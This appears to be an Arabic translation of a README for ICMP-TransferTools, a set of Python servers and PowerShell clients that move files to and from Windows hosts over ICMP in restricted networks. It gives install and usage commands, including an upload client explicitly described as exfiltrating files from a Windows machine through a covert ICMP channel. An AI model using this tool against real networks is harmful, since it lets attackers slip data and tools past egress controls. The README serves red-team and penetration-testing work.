
نقل الملفات من وإلى مضيف ويندوز عبر ICMP في بيئات الشبكة المقيدة.
ICMP-TransferTools عبارة عن مجموعة من البرامج النصية المصممة لنقل الملفات من وإلى أجهزة ويندوز في بيئات شبكية مقيدة. يتم ذلك باستخدام 4 ملفات مختلفة، تتكون من خادم Python وعميل PowerShell لكل اتجاه نقل (تنزيل ورفع).
الاعتماد الوحيد المطلوب هو Impacket لأحد نصوص Python. يمكن تثبيته عبر pip كالتالي:
pip3 install impacket
يمكن استخدام النصين ICMP-SendFile.py و Invoke-IcmpDownload.ps1 لتنزيل ملف إلى جهاز ويندوز عبر ICMP.
يجب تشغيل خادم Python أولاً لتجهيز الملف للتنزيل. انظر أدناه لاستخدام النص:
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
بمجرد الاستيراد، يمكن استخدام عميل PowerShell لتنزيل الملف المجهز كالتالي:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
انظر أدناه للحصول على عرض توضيحي سريع:

يمكن استخدام النصين ICMP-ReceiveFile.py و Invoke-IcmpUpload.ps1 لرفع/استخراج ملف من جهاز ويندوز عبر ICMP.
يجب تشغيل خادم Python أولاً للتأكد من استعداده لقبول الطلبات من العميل. انظر أدناه لاستخدام النص:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
بمجرد الاستيراد، يمكن استخدام عميل PowerShell لرفع الملف المطلوب كالتالي:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
انظر أدناه للحصول على عرض توضيحي سريع:
